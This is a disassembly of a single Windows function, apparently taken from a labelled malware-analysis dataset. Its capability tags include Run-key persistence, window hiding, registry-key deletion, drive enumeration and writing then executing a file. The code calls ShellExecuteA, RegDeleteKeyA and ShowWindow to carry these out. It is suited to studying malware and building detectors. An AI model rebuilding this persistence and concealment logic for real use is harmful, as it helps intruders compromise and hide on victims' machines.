Function at 0x4111a8
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2b
push 0
push 0
dec ecx
jne 0x4111b0
push ecx
xor eax, eax
push ebp
push 0x412674
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x415b44], 0x66
jne 0x411221
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x412688
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406d10
mov edx, dword [ebp - 8]
mov eax, 0x415ae8
call fcn.00403780
cmp byte [0x415b41], 0
jne 0x411221
push 0x2710
call sub.KERNEL32.DLL_Sleep
mov eax, dword [0x415ae8]
call fcn.00406b68
mov byte [0x415b43], al
mov edx, 0x412698
mov ecx, 0x412688
mov eax, 0x80000002
call fcn.004072a4
lea eax, [ebp - 0xc]
call fcn.004069e0
mov edx, dword [ebp - 0xc]
mov eax, 0x415ad8
call fcn.00403780
lea eax, [ebp - 0x10]
call fcn.00406a4c
mov edx, dword [ebp - 0x10]
mov eax, 0x415adc
call fcn.00403780
mov eax, 0x415ae0
mov ecx, 0x4126e0
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [0x415ae8]
call fcn.004038a4
test eax, eax
jne 0x411297
mov eax, 0x415ae8
mov ecx, 0x4126f0
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, 0x414130
mov ecx, dword [0x414130]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, 0x415ad0
mov ecx, 0x412704
mov edx, dword [0x414130]
call fcn.004038f0
mov eax, 0x415ad4
mov ecx, 0x412718
mov edx, dword [0x414130]
call fcn.004038f0
xor eax, eax
mov dword [0x415b48], eax
call fcn.00412f78
cmp byte [0x415b41], 0
je 0x411529
mov eax, 0x41272c
call fcn.00405e58
push 0xbb8
call sub.KERNEL32.DLL_Sleep
call fcn.00406bfc
lea eax, [ebp - 0x14]
mov ecx, 0x412744
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x14]
call fcn.00405cfc
lea eax, [ebp - 0x18]
mov ecx, 0x412758
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x18]
call fcn.00405cfc
mov eax, dword [0x415ad0]
call fcn.00405cfc
mov ecx, 0x4126f0
mov edx, 0x41276c
mov eax, 0x80000002
call fcn.004072a4
mov ecx, 0x4126f0
mov edx, 0x4127a4
mov eax, 0x80000002
call fcn.004072a4
mov ecx, 0x4126f0
mov edx, 0x4127e4
mov eax, 0x80000001
call fcn.004072a4
mov edx, 0x41276c
mov ecx, 0x41282c
mov eax, 0x80000001
call fcn.004072a4
mov edx, 0x4127e4
mov ecx, 0x41283c
mov eax, 0x80000002
call fcn.004072a4
lea eax, [ebp - 0x1c]
mov ecx, 0x412850
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x1c]
call fcn.00405cfc
lea eax, [ebp - 0x20]
mov ecx, 0x412868
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00405cfc
lea eax, [ebp - 0x24]
mov ecx, 0x41287c
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x24]
call fcn.00405cfc
lea eax, [ebp - 0x28]
mov ecx, 0x412894
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x28]
call fcn.00405cfc
lea eax, [ebp - 0x2c]
mov ecx, 0x4128ac
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x2c]
call fcn.00405cfc
lea eax, [ebp - 0x30]
mov ecx, 0x4128c0
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x30]
call fcn.00405cfc
lea eax, [ebp - 0x34]
mov ecx, 0x4128d4
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x34]
call fcn.00405cfc
push 0x4128e0
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x41290c
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x412954
call fcn.004100c8
mov eax, 0x412960
call fcn.004100c8
mov eax, 0x41296c
call fcn.004100c8
mov eax, dword [0x415ad4]
call fcn.00405cfc
push 0x200040
push 0x412970
push 0x412988
lea edx, [ebp - 0x3c]
mov eax, 0x71
call fcn.00405478
push dword [ebp - 0x3c]
push 0x41299c
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x38]
call fcn.00403aa4
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x41272c
lea eax, [ebp - 0x40]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x40]
call fcn.00403aa4
push eax
push 0x4129b4
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405d58
jmp 0x412656
push 0
mov eax, dword [0x414130]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
call sub.KERNEL32.DLL_GetVersion
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x415b40]
cmp byte [0x415b40], 0
je 0x411563
call fcn.0040636c
mov eax, dword [0x4141f8]
push eax
mov edx, 0x412698
mov ecx, 0x4129c4
mov eax, 0x80000002
call fcn.00406c48
push eax
call fcn.00405760
pop edx
sub eax, edx
jno 0x41158d
call fcn.00402f1c
cmp eax, 0x1e
jl 0x412656
lea edx, [ebp - 0x44]
mov eax, dword [0x415ae8]
call fcn.004057bc
mov edx, dword [ebp - 0x44]
mov eax, 0x415aec
call fcn.00403780
call fcn.0040278c
push 1
push 0x96
push 0x222e1
mov ecx, 0x412850
lea eax, [ebp - 0x48]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x48]
mov cl, 1
mov eax, dword [0x415ae8]
call fcn.004059e0
mov byte [0x415b43], al
mov ecx, 0x412850
lea eax, [ebp - 0x4c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x4c]
call fcn.00406b68
mov byte [0x415b43], al
mov eax, dword [0x4141f8]
push eax
mov edx, 0x412698
mov ecx, 0x4129d0
mov eax, 0x80000002
call fcn.00406c48
mov dword [0x415b38], eax
cmp dword [0x415b38], 0x71
jge 0x4116ff
cmp byte [0x415b43], 0
jne 0x41169c
mov ecx, 0x412850
lea eax, [ebp - 0x50]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x50]
mov eax, dword [0x415ae8]
call fcn.004039f0
je 0x41169c
mov eax, 0x412850
call fcn.00405e58
push 1
push 0x96
push 0x222e1
mov ecx, 0x412850
lea eax, [ebp - 0x54]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x54]
mov cl, 1
mov eax, dword [0x415ae8]
call fcn.004059e0
mov byte [0x415b43], al
cmp byte [0x415b43], 0
je 0x4116ff
push 0x71
mov ecx, 0x4129d0
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406f24
mov byte [0x415b43], al
push 0x4129e0
lea edx, [ebp - 0x5c]
mov eax, 0x71
call fcn.00405478
push dword [ebp - 0x5c]
push 0x4129f4
lea edx, [ebp - 0x60]
mov eax, dword [0x415b38]
call fcn.00405478
push dword [ebp - 0x60]
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00403964
mov eax, dword [ebp - 0x58]
call fcn.00412fc4
call fcn.00407628
push 1
push 0x96
push 0x222e1
mov ecx, 0x412868
lea eax, [ebp - 0x64]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x64]
xor ecx, ecx
mov eax, dword [0x415ae8]
call fcn.004059e0
mov byte [0x415b43], al
mov ecx, 0x412868
lea eax, [ebp - 0x68]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x68]
call fcn.00406b68
mov byte [0x415b43], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x41287c
lea eax, [ebp - 0x6c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x415ae8]
call fcn.004059e0
mov byte [0x415b43], al
mov ecx, 0x41287c
lea eax, [ebp - 0x70]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x70]
call fcn.00406b68
mov byte [0x415b43], al
mov ecx, 0x4128c0
lea eax, [ebp - 0x74]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x74]
call fcn.00405a8c
test al, al
jne 0x411859
push 1
push 0
push 0x222e1
mov ecx, 0x4128c0
lea eax, [ebp - 0x78]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x78]
push eax
mov ecx, 0x412894
lea eax, [ebp - 0x7c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x7c]
xor ecx, ecx
pop edx
call fcn.004059e0
mov byte [0x415b43], al
push 1
push 0
push 0x222e1
mov ecx, 0x4128d4
lea eax, [ebp - 0x80]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x4128ac
lea eax, [ebp - 0x84]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.004059e0
mov byte [0x415b43], al
mov ecx, 0x412894
lea eax, [ebp - 0x88]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x88]
call fcn.00405a8c
test al, al
jne 0x411920
push 1
push 0
push 0x222e1
mov ecx, 0x412894
lea eax, [ebp - 0x8c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, 0x4128c0
lea eax, [ebp - 0x90]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x90]
xor ecx, ecx
pop edx
call fcn.004059e0
mov byte [0x415b43], al
push 1
push 0
push 0x222e1
mov ecx, 0x4128ac
lea eax, [ebp - 0x94]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x4128d4
lea eax, [ebp - 0x98]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.004059e0
mov byte [0x415b43], al
mov eax, dword [0x415ae8]
call fcn.00406b68
mov byte [0x415b43], al
mov ecx, 0x412894
lea eax, [ebp - 0x9c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x9c]
call fcn.00406b68
mov byte [0x415b43], al
mov ecx, 0x4128ac
lea eax, [ebp - 0xa0]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0xa0]
call fcn.00406b68
mov byte [0x415b43], al
mov ecx, 0x4128c0
lea eax, [ebp - 0xa4]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0xa4]
call fcn.00406b68
mov byte [0x415b43], al
mov ecx, 0x4128d4
lea eax, [ebp - 0xa8]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0xa8]
call fcn.00406b68
mov byte [0x415b43], al
call fcn.0040ee78
mov eax, 0x412954
call fcn.0040f410
mov eax, 0x412960
call fcn.0040f410
mov eax, 0x41296c
call fcn.0040f410
push 0
push 0
push 0x415b3c
mov ecx, 0x407b48
xor edx, edx
xor eax, eax
call fcn.004036e8
push 0
push 0
push 0x415b3c
mov ecx, 0x407498
xor edx, edx
xor eax, eax
call fcn.004036e8
mov ecx, 0x412850
mov eax, 0x415ae4
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [0x415ae4]
mov edx, dword [0x415ae8]
call fcn.004039f0
je 0x411a91
mov ecx, 0x412868
lea eax, [ebp - 0xac]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0xac]
mov edx, dword [0x415ae8]
call fcn.004039f0
je 0x411a91
mov ecx, 0x41287c
lea eax, [ebp - 0xb0]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0xb0]
mov edx, dword [0x415ae8]
call fcn.004039f0
jne 0x411a9d
mov eax, 0x415ae4
call fcn.0040372c
jmp 0x411ab2
mov eax, 0x415ae4
mov ecx, dword [0x415ae8]
mov edx, 0x412a04
call fcn.004038f0
mov al, byte [0x415b44]
sub al, 0x64
je 0x411ac5
dec al
je 0x411adc
dec al
je 0x411af3
jmp 0x411b0a
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x412a10
call fcn.004038f0
jmp 0x411b14
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x412a1c
call fcn.004038f0
jmp 0x411b14
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x412a28
call fcn.004038f0
jmp 0x411b14
mov eax, 0x412a38
call fcn.00412fc4
lea eax, [ebp - 0xb4]
mov ecx, dword [0x415ae4]
mov edx, 0x412a44
call fcn.004038f0
mov eax, dword [ebp - 0xb4]
call fcn.00412fc4
mov eax, 0x415b5c
mov ecx, 0x412698
mov edx, 0x80000002
call fcn.004070a4
test al, al
jne 0x411b74
mov eax, 0x415b5c
mov ecx, 0x412698
mov edx, 0x80000002
call fcn.004070a4
test al, al
jne 0x411b74
mov eax, 0x412a54
call fcn.00412fc4
jmp 0x412656
push dword [0x415adc]
push 0x412a6c
push 0x412a7c
mov eax, 0x415b04
mov edx, 3
call fcn.00403964
mov eax, dword [0x415b04]
call fcn.00405a8c
test al, al
jne 0x411c11
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xb8]
mov ecx, 0x412a8c
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0xb8]
mov cl, 1
mov edx, dword [0x415b04]
call fcn.004059e0
test al, al
je 0x411bfd
lea eax, [ebp - 0xbc]
mov ecx, dword [0x415b04]
mov edx, 0x412aa4
call fcn.004038f0
mov eax, dword [ebp - 0xbc]
call fcn.00412fc4
jmp 0x411c11
mov eax, 0x412ac0
call fcn.00412fc4
mov eax, 0x415b04
call fcn.0040372c
mov eax, dword [0x415b04]
call fcn.004038a4
test eax, eax
jle 0x411e09
mov eax, 0x415b0c
mov ecx, 0x412ad0
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, 0x415b08
mov edx, 0x412ae4
call fcn.00403780
lea eax, [ebp - 0xc0]
mov ecx, 0x412af8
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc0]
call fcn.00405a8c
test al, al
je 0x411c7b
mov eax, 0x415b08
mov edx, 0x412b08
call fcn.004038ac
lea eax, [ebp - 0xc4]
mov ecx, 0x412b18
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc4]
call fcn.00405a8c
test al, al
je 0x411caf
mov eax, 0x415b08
mov edx, 0x412b28
call fcn.004038ac
lea eax, [ebp - 0xc8]
mov ecx, 0x412b38
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc8]
call fcn.00405a8c
test al, al
je 0x411ce3
mov eax, 0x415b08
mov edx, 0x412b48
call fcn.004038ac
lea eax, [ebp - 0xcc]
mov ecx, 0x412b58
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xcc]
call fcn.00405a8c
test al, al
je 0x411d17
mov eax, 0x415b08
mov edx, 0x412b68
call fcn.004038ac
lea eax, [ebp - 0xd0]
mov ecx, 0x412b78
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd0]
call fcn.00405a8c
test al, al
je 0x411d4b
mov eax, 0x415b08
mov edx, 0x412b88
call fcn.004038ac
lea eax, [ebp - 0xd4]
mov ecx, 0x412b98
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd4]
call fcn.00405a8c
test al, al
je 0x411d7f
mov eax, 0x415b08
mov edx, 0x412ba8
call fcn.004038ac
lea eax, [ebp - 0xd8]
mov ecx, 0x412bb8
mov edx, dword [0x415b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd8]
call fcn.00405a8c
test al, al
je 0x411db3
mov eax, 0x415b08
mov edx, 0x412bc8
call fcn.004038ac
mov eax, dword [0x415b08]
mov edx, 0x412bd8
call fcn.004039f0
jne 0x411dd0
mov eax, 0x412c08
call fcn.00412fc4
jmp 0x411df1
lea eax, [ebp - 0xdc]
mov ecx, dword [0x415b08]
mov edx, 0x412c18
call fcn.004038f0
mov eax, dword [ebp - 0xdc]
call fcn.00412fc4
push 0
mov ecx, 0x412c28
mov edx, 0x412c38
mov eax, 0x80000001
call fcn.00406f24
jmp 0x411e13
mov eax, 0x415b08
call fcn.0040372c
cmp byte [0x415b40], 0
jne 0x411e67
push 0x1f40
call sub.KERNEL32.DLL_Sleep
push 0x412c50
push 0
call sub.user32.dll_FindWindowA
mov dword [0x415b3c], eax
cmp dword [0x415b3c], 0
jne 0x411e51
push 0x412c68
push 0
call sub.user32.dll_FindWindowA
mov dword [0x415b3c], eax
cmp dword [0x415b3c], 0
jbe 0x411e67
push 0
mov eax, dword [0x415b3c]
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [0x4141f8]
push eax
mov edx, 0x412698
mov ecx, 0x412c88
mov eax, 0x80000002
call fcn.00406c48
mov dword [0x415b20], eax
mov eax, dword [0x4141f8]
push eax
mov edx, 0x412698
mov ecx, 0x412c98
mov eax, 0x80000002
call fcn.00406c48
mov dword [0x415b30], eax
cmp dword [0x415b30], 0x64
jge 0x4120a0
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0xe4]
push eax
mov edx, 0x412698
mov ecx, 0x412ca8
mov eax, 0x80000002
call fcn.00406d10
mov eax, dword [ebp - 0xe4]
lea edx, [ebp - 0xe0]
call fcn.0040553c
mov edx, dword [ebp - 0xe0]
mov eax, 0x415afc
call fcn.00403780
mov eax, dword [0x415afc]
call fcn.004038a4
test eax, eax
je 0x411f2c
mov eax, 1
mov edx, dword [0x415afc]
dec eax
test edx, edx
je 0x411f1c
cmp eax, dword [edx - 4]
jb 0x411f21
call fcn.00402f14
inc eax
mov al, byte [edx + eax - 1]
add al, 0x9f
sub al, 0x1a
jb 0x411f3b
mov eax, 0x415afc
mov edx, 0x412cb8
call fcn.00403780
mov eax, 1
mov edx, dword [0x415afc]
dec eax
test edx, edx
je 0x411f50
cmp eax, dword [edx - 4]
jb 0x411f55
call fcn.00402f14
inc eax
mov al, byte [edx + eax - 1]
cmp al, 0x63
jb 0x412073
mov byte [ebp - 1], al
lea eax, [ebp - 0xe8]
mov dl, byte [ebp - 1]
call fcn.0040384c
lea eax, [ebp - 0xe8]
mov edx, 0x412cc4
call fcn.004038ac
mov eax, dword [ebp - 0xe8]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x411fa5
sub eax, 1
jne 0x41205f
xor eax, eax
mov dword [0x415b24], eax
lea eax, [ebp - 0xec]
mov dl, byte [ebp - 1]
call fcn.0040384c
lea eax, [ebp - 0xec]
mov edx, 0x412cc4
call fcn.004038ac
mov eax, dword [ebp - 0xec]
call fcn.0040c448
lea eax, [ebp - 0xf4]
mov dl, byte [ebp - 1]
call fcn.0040384c
mov ecx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
mov edx, 0x412cd0
call fcn.004038f0
mov eax, dword [ebp - 0xf0]
call fcn.00412fc4
lea eax, [ebp - 0xf8]
xor edx, edx
mov dl, byte [ebp - 1]
sub edx, 1
jno 0x412019
call fcn.00402f1c
call fcn.0040384c
mov eax, dword [ebp - 0xf8]
push eax
mov ecx, 0x412ca8
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406dfc
push 0
mov ecx, 0x412c88
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406f24
cmp byte [ebp - 1], 0x63
jne 0x41205f
mov eax, 0x412ce4
call fcn.00412fc4
xor eax, eax
mov dword [0x415b20], eax
dec byte [ebp - 1]
cmp byte [ebp - 1], 0x62
jne 0x411f65
mov dword [0x415b30], 0x64
mov eax, dword [0x415b30]
test eax, eax
jns 0x41208b
call fcn.00402f14
push eax
mov ecx, 0x412c98
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406f24
cmp dword [0x415b30], 0xc8
jge 0x412120
cmp byte [0x415b44], 0x66
jne 0x4120bc
mov byte [0x414128], 0
xor eax, eax
mov dword [0x415b28], eax
mov eax, dword [0x4141f8]
push eax
mov edx, 0x412698
mov ecx, 0x412cf8
mov eax, 0x80000002
call fcn.00406c48
mov dword [0x415b2c], eax
xor eax, eax
call fcn.0040ccf4
mov dword [0x415b30], 0xc8
mov eax, dword [0x415b30]
test eax, eax
jns 0x412101
call fcn.00402f14
push eax
mov ecx, 0x412c98
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406f24
mov eax, 0x412d08
call fcn.00412fc4
mov eax, 0x415b5c
call fcn.00407128
mov eax, dword [0x415aec]
call fcn.004038a4
test eax, eax
jne 0x412170
lea edx, [ebp - 0xfc]
mov eax, dword [0x415ae8]
call fcn.004057bc
mov edx, dword [ebp - 0xfc]
mov eax, 0x415aec
call fcn.00403780
mov eax, dword [0x415aec]
call fcn.004038a4
test eax, eax
jne 0x412170
call fcn.00409d80
jmp 0x412656
cmp byte [0x415b44], 0x64
jne 0x412183
call fcn.00412ebc
call fcn.004035c0
mov byte [0x414128], 0
mov eax, dword [0x4141f8]
push eax
mov edx, 0x412698
mov ecx, 0x412d1c
mov eax, 0x80000002
call fcn.00406c48
dec eax
je 0x412269
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x415ad0]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x415b4c], eax
push 2
push 0
push 0
mov eax, dword [0x415b4c]
push eax
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 0x100]
call fcn.00407dac
mov edx, dword [ebp - 0x100]
mov eax, 0x415ae4
call fcn.00403780
push 0
push 0x415b3c
mov eax, dword [0x415ae4]
call fcn.004038a4
test eax, eax
jns 0x412218
call fcn.00402f14
push eax
mov eax, 0x415ae4
call fcn.00403afc
mov edx, 1
dec edx
test eax, eax
je 0x412232
cmp edx, dword [eax - 4]
jb 0x412237
call fcn.00402f14
inc edx
lea eax, [eax + edx - 1]
push eax
mov eax, dword [0x415b4c]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [0x415b4c]
push eax
call sub.KERNEL32.DLL_CloseHandle
push 1
mov ecx, 0x412d1c
mov edx, 0x412698
mov eax, 0x80000002
call fcn.00406f24
push 0xea60
call sub.KERNEL32.DLL_Sleep
lea edx, [ebp - 0x104]
mov al, 1
call fcn.004055b8
mov ecx, dword [ebp - 0x104]
mov eax, 0x415af8
mov edx, 0x412d2c
call fcn.004038f0
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x4122a8
jmp dword [eax*4 + 0x4122af]
lea edx, [ebp - 0x108]
mov eax, 0x412d40
call fcn.004063c0
mov edx, dword [ebp - 0x108]
mov eax, 0x415af4
call fcn.00403780
jmp 0x4123bc
lea edx, [ebp - 0x10c]
mov eax, 0x412d58
call fcn.004063c0
mov edx, dword [ebp - 0x10c]
mov eax, 0x415af4
call fcn.00403780
jmp 0x4123bc
lea edx, [ebp - 0x110]
mov eax, 0x412d70
call fcn.004063c0
mov edx, dword [ebp - 0x110]
mov eax, 0x415af4
call fcn.00403780
jmp 0x4123bc
lea edx, [ebp - 0x114]
mov eax, 0x412d88
call fcn.004063c0
mov edx, dword [ebp - 0x114]
mov eax, 0x415af4
call fcn.00403780
jmp 0x4123bc
lea edx, [ebp - 0x118]
mov eax, 0x412da0
call fcn.004063c0
mov edx, dword [ebp - 0x118]
mov eax, 0x415af4
call fcn.00403780
jmp 0x4123bc
lea edx, [ebp - 0x11c]
mov eax, 0x412dbc
call fcn.004063c0
mov edx, dword [ebp - 0x11c]
mov eax, 0x415af4
call fcn.00403780
jmp 0x4123bc
lea edx, [ebp - 0x120]
mov eax, 0x412dd4
call fcn.004063c0
mov edx, dword [ebp - 0x120]
mov eax, 0x415af4
call fcn.00403780
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x4123cf
jmp dword [eax*4 + 0x4123d6]
lea edx, [ebp - 0x124]
mov eax, 0x412dec
call fcn.004063c0
mov edx, dword [ebp - 0x124]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4124e3
lea edx, [ebp - 0x128]
mov eax, 0x412e08
call fcn.004063c0
mov edx, dword [ebp - 0x128]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4124e3
lea edx, [ebp - 0x12c]
mov eax, 0x412e24
call fcn.004063c0
mov edx, dword [ebp - 0x12c]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4124e3
lea edx, [ebp - 0x130]
mov eax, 0x412e40
call fcn.004063c0
mov edx, dword [ebp - 0x130]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4124e3
lea edx, [ebp - 0x134]
mov eax, 0x412e5c
call fcn.004063c0
mov edx, dword [ebp - 0x134]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4124e3
lea edx, [ebp - 0x138]
mov eax, 0x412e74
call fcn.004063c0
mov edx, dword [ebp - 0x138]
mov eax, 0x415af0
call fcn.00403780
jmp 0x4124e3
lea edx, [ebp - 0x13c]
mov eax, 0x412e90
call fcn.004063c0
mov edx, dword [ebp - 0x13c]
mov eax, 0x415af0
call fcn.00403780
mov ecx, 0x412744
lea eax, [ebp - 0x140]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x140]
mov eax, dword [0x415ad0]
call fcn.00410a00
test al, al
je 0x412537
mov ecx, 0x412758
lea eax, [ebp - 0x144]
mov edx, dword [0x415adc]
call fcn.004038f0
mov edx, dword [ebp - 0x144]
mov eax, dword [0x415ad4]
call fcn.00410a00
test al, al
jne 0x412541
call fcn.00412ebc
jmp 0x412656
call fcn.004065d4
mov ecx, 0x412744
lea eax, [ebp - 0x148]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x148]
call fcn.0040d5c0
test al, al
je 0x412591
mov ecx, 0x412758
lea eax, [ebp - 0x14c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x14c]
call fcn.0040d5c0
jmp 0x412656
call fcn.004065d4
mov ecx, 0x412744
lea eax, [ebp - 0x150]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x150]
call fcn.0040d5c0
test al, al
je 0x4125de
mov ecx, 0x412758
lea eax, [ebp - 0x154]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x154]
call fcn.0040d5c0
jmp 0x412656
call fcn.004065d4
mov ecx, 0x412744
lea eax, [ebp - 0x158]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x158]
call fcn.0040d5c0
test al, al
je 0x41262b
mov ecx, 0x412758
lea eax, [ebp - 0x15c]
mov edx, dword [0x415adc]
call fcn.004038f0
mov eax, dword [ebp - 0x15c]
call fcn.0040d5c0
jmp 0x412656
call fcn.004065d4
call fcn.0040e0d4
test al, al
jne 0x412656
call fcn.004065d4
call fcn.0040e620
test al, al
jne 0x412656
call fcn.0040e0d4
mov eax, 0x412eac
call fcn.00412fc4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41267b
lea eax, [ebp - 0x15c]
mov edx, 0x56
call fcn.00403750
ret